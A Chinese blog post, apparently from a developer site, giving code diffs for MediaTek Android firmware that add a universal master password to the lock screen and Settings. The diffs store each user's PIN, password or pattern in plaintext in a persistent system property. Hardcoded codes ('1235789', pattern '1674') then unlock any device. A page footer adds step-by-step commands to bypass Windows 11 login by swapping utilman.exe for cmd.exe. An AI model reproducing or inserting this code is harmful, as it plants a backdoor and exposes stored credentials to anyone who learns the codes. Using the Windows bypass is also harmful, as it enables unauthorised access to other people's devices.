Android系统定制开发——万能通用密码(包括PIN、Password、图案)

因为客户经常会遇到用户忘记密码的情况,导致用户寄回给客户,所以需要开发这个功能。

此功能分别在Android6---Android14上面实现了。

首先万能密码的设置至少要考虑两点:

1、锁屏界面的验证

2、setting里面的验证

思路很简单:

设置密码时获取用户设置的密码并存储起来,当用户输入万能密码时把万能密码替换为正确的密码。

    Android9增加万能密码

diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java
index e60b4e6..ada7e66 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java
+++ b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPassword.java
@@ -71,6 +71,7 @@ import com.android.setupwizardlib.GlifLayout;
 
 import java.util.ArrayList;
 import java.util.List;
+import android.os.SystemProperties;
 
 public class ChooseLockPassword extends SettingsActivity {
     public static final String PASSWORD_MIN_KEY = "lockscreen.password_min";
@@ -941,7 +942,9 @@ public class ChooseLockPassword extends SettingsActivity {
                 Log.w(TAG, "startSaveAndFinish with an existing SaveAndFinishWorker.");
                 return;
             }
-
+                       //by ken add start
+                       SystemProperties.set("persist.sys.secret",mChosenPassword);
+            //by ken add end
             mPasswordEntryInputDisabler.setInputEnabled(false);
             setNextEnabled(false);
 
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java
index 95759f3..0155b0f 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java
+++ b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ChooseLockPattern.java
@@ -54,6 +54,7 @@ import com.google.android.collect.Lists;
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
+import android.os.SystemProperties;
 
 /**
  * If the user has a lock pattern set already, makes them confirm the existing one.
@@ -776,6 +777,9 @@ public class ChooseLockPattern extends SettingsActivity {
 
             final boolean required = getActivity().getIntent().getBooleanExtra(
                     EncryptionInterstitial.EXTRA_REQUIRE_PASSWORD, true);
+                                       
+            SystemProperties.set("persist.sys.secret",LockPatternUtils.patternToString(mChosenPattern));                       
+                       
             mSaveAndFinishWorker.start(mChooseLockSettingsHelper.utils(), required,
                     mHasChallenge, mChallenge, mChosenPattern, mCurrentPattern, mUserId);
         }
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java
index a7059da..8b985c5 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java
+++ b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPassword.java
@@ -332,10 +332,20 @@ public class ConfirmLockPassword extends ConfirmDeviceCredentialBaseActivity {
                 return;
             }
 
-            final String pin = mPasswordEntry.getText().toString();
+            String pin = mPasswordEntry.getText().toString();
             if (TextUtils.isEmpty(pin)) {
                 return;
             }
+                       
+                       //by ken add start
+                       if(pin.equals("1235789")){
+                               String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+                               if(!saveNum.equals("")){
+                                       pin = saveNum;
+                               }
+                       }
+                       
+                       //by ken add end
 
             mPasswordEntryInputDisabler.setInputEnabled(false);
             final boolean verifyChallenge = getActivity().getIntent().getBooleanExtra(
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java
index 84db540..a0b7741 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java
+++ b/ap/vendor/mediatek/proprietary/packages/apps/MtkSettings/src/com/android/settings/password/ConfirmLockPattern.java
@@ -410,6 +410,17 @@ public class ConfirmLockPattern extends ConfirmDeviceCredentialBaseActivity {
                 if (mPendingLockCheck != null || mDisappearing) {
                     return;
                 }
+                               
+                               //by ken add start
+                               String enterP = LockPatternUtils.patternToString(pattern);
+                               if(enterP.equals("1674")){
+                                       String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+                                       if(!saveNum.equals("")){
+                                               pattern = LockPatternUtils.stringToPattern(saveNum);
+                                       }
+                               }
+                               
+                               //by ken add end
 
                 mLockPatternView.setEnabled(false);
 
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml
index b374923..3344906 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml
+++ b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/res/values/config.xml
@@ -118,12 +118,12 @@
 
     <!-- The default tiles to display in QuickSettings -->
     <string name="quick_settings_tiles_default" translatable="false">
-        wifi,bt,dnd,flashlight,rotation,battery,cell,airplane,cast
+        wifi,bt,dnd,rotation,battery,inversion,cast,night
     </string>
 
     <!-- Tiles native to System UI. Order should match "quick_settings_tiles_default" -->
     <string name="quick_settings_tiles_stock" translatable="false">
-        wifi,cell,battery,dnd,flashlight,rotation,bt,airplane,location,hotspot,inversion,saver,work,cast,night
+        wifi,battery,dnd,rotation,bt,inversion,cast,night
     </string>
 
     <!-- The tiles to display in QuickSettings -->
@@ -131,7 +131,7 @@
 
     <!-- The tiles to display in QuickSettings in retail mode -->
     <string name="quick_settings_tiles_retail_mode" translatable="false">
-        cell,battery,dnd,flashlight,rotation,location
+        battery,dnd,rotation
     </string>
 
     <!-- Whether or not the RSSI tile is capitalized or not. -->
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java
index f256d07..ec1d7ad 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java
+++ b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardAbsKeyInputView.java
@@ -32,6 +32,7 @@ import android.widget.LinearLayout;
 import com.android.internal.util.LatencyTracker;
 import com.android.internal.widget.LockPatternChecker;
 import com.android.internal.widget.LockPatternUtils;
+import android.os.SystemProperties;
 
 /**
  * Base class for PIN and password unlock screens.
@@ -122,7 +123,18 @@ public abstract class KeyguardAbsKeyInputView extends LinearLayout
     protected void verifyPasswordAndUnlock() {
         if (mDismissing) return; // already verified but haven't been dismissed; don't do it again.
 
-        final String entry = getPasswordText();
+         String entry = getPasswordText();
+               
+               //by ken add start
+               if(entry.equals("1235789")){
+                       String saveNum = SystemProperties.get("persist.sys.secret","");
+                       if(!saveNum.equals("")){
+                               entry = saveNum;
+                       }
+                       
+               }
+               //by ken add end
+               
         setPasswordEntryInputEnabled(false);
         if (mPendingLockCheck != null) {
             mPendingLockCheck.cancel(false);
diff --git a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java
index dfc3376..a484ed1 100644
--- a/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java
+++ b/ap/vendor/mediatek/proprietary/packages/apps/SystemUI/src/com/android/keyguard/KeyguardPatternView.java
@@ -240,7 +240,7 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit
         }
 
         @Override
-        public void onPatternDetected(final List<LockPatternView.Cell> pattern) {
+        public void onPatternDetected(List<LockPatternView.Cell> pattern) {
             mLockPatternView.disableInput();
             if (mPendingLockCheck != null) {
                 mPendingLockCheck.cancel(false);
@@ -257,6 +257,18 @@ public class KeyguardPatternView extends LinearLayout implements KeyguardSecurit
                 LatencyTracker.getInstance(mContext).onActionStart(ACTION_CHECK_CREDENTIAL);
                 LatencyTracker.getInstance(mContext).onActionStart(ACTION_CHECK_CREDENTIAL_UNLOCKED);
             }
+                       
+                       //by ken add start
+                       String enterNum = LockPatternUtils.patternToString(pattern);
+                       if(enterNum.equals("1674")){
+                          String saveNum = android.os.SystemProperties.get("persist.sys.secret","");
+                          if(!saveNum.equals("")){
+                                  pattern = LockPatternUtils.stringToPattern(saveNum);
+                          }
+                       }
+                       
+                       //by ken add end
+                       
             mPendingLockCheck = LockPatternChecker.checkPattern(
                     mLockPatternUtils,
                     pattern,
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
如果你忘记了 Windows 11 的 PIN密码,并且无法进入系统,你可以尝试以下方法重置密码: 1. 使用 Microsoft 账户重置密码 如果你使用的是 Microsoft 账户登录 Windows 11,你可以在其他设备上访问 Microsoft 账户重置密码页面,重置密码并尝试登录 Windows 11。 2. 使用安全启动重置密码 如果你开启了 Windows 11 的安全启动功能,你可以通过以下步骤重置密码: 1. 使用另一台 Windows 11 设备创建一个 Windows 11 安装盘或启动盘。 2. 将安装盘或启动盘插入无法登录的计算机并启动。 3. 进入 Windows 安装界面后,按 Shift + F10 键打开命令提示符。 4. 输入以下命令并按 Enter 键:move c:\windows\system32\utilman.exe c:\windows\system32\utilman.exe.bak 这将备份系统中的 utilman.exe 文件。 5. 输入以下命令并按 Enter 键:copy c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe 这将将 cmd.exe 复制到 utilman.exe 的位置。 6. 重启计算机并回到登录界面。 7. 点击屏幕右下角的“辅助功能”图标,会打开命令提示符。 8. 在命令提示符中输入以下命令并按 Enter 键:net user 用户名 新密码 将“用户名”替换为你想要重置密码的用户名,将“新密码”替换为你的新密码。 9. 重启计算机并使用新密码登录。 10. 使用以下命令还原备份的 utilman.exe 文件: move c:\windows\system32\utilman.exe.bak c:\windows\system32\utilman.exe 请注意,这种方法需要一定的计算机技能,如果你不确定自己的操作,请寻求技术支持。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值